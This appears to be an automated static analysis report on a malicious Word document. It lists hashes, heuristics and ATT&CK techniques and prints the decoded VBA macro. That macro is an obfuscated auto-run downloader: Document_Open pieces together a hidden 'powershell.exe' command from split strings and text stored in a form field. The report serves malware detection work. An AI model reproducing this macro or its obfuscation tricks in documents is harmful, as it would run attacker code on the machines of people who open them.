Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 893e44bea682c835…

MALICIOUS

Office (OLE)

265.0 KB Created: 2019-02-04 22:59:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: a8e5b10e63d408c712f0afd9ca9cbe55 SHA-1: 327d590665885b039c5c149132f33aff9a89ca67 SHA-256: 893e44bea682c835a4300544355ac3447d852cad0d340613cbf12ffa2d70f5f9
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro that executes a shell command. The Document_Open macro is triggered upon opening the document, which then calls a function to construct and execute a command. This command appears to be designed to download and execute a second-stage payload, indicated by the use of 'shell.exe'. The presence of the Shell() call and the auto-execution token in the VBA p-code strongly suggest a downloader or dropper functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.00536d-6846259-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6846259-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1492 bytes
SHA-256: 341fd55a14a024496365e3851e793f74cddb820ff63f64bbee6d3ebc2fdfc947
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim Lal9sewRS(16 To 256) As Long
Lal9sewRS(16) = 1736 / 14
Dim SU1Za7WH(16 To 256) As String
SU1Za7WH(16) = "di9dR"

Dim kzd2rG As Long
kzd2rG = (749 - 721) / (51)
Dim vlRWIEg(14 To 53) As Long
vlRWIEg(14) = 27900 / 150

Dim Mc7K1(97) As Byte
Dim sv01F() As Byte
Call w("er")
End Sub

Attribute VB_Name = "OJ75BFVLN"
Sub w(dlIXbHJ)
Dim nWG1IpQ As Long
nWG1IpQ = (19431 / 1143) / (14)
Dim U4R82 As String
U4R82 = Z3VDra
Dim pvmY6j() As Byte
T9qT5e = "shell.exe "
Shell R38TY67FU() _
& dlIXbHJ _
& T9qT5e _
& UhECSaq _
, 0
End Sub

Attribute VB_Name = "eI5Y1vzA3"
Public Function R38TY67FU() As String
R38TY67FU = "pow"
End Function

Attribute VB_Name = "NrshV7NUp"
Public Function UhECSaq()
Dim WGC2R1 As Object
Set WGC2R1 = New f
Dim hdW8KY3 As String
hdW8KY3 = WGC2R1.de.Text
UhECSaq = hdW8KY3
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{8D46682B-BD75-477E-8D30-504C6779F9DC}{767822C8-34FF-4FF4-8F1E-3B8E681E7D41}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False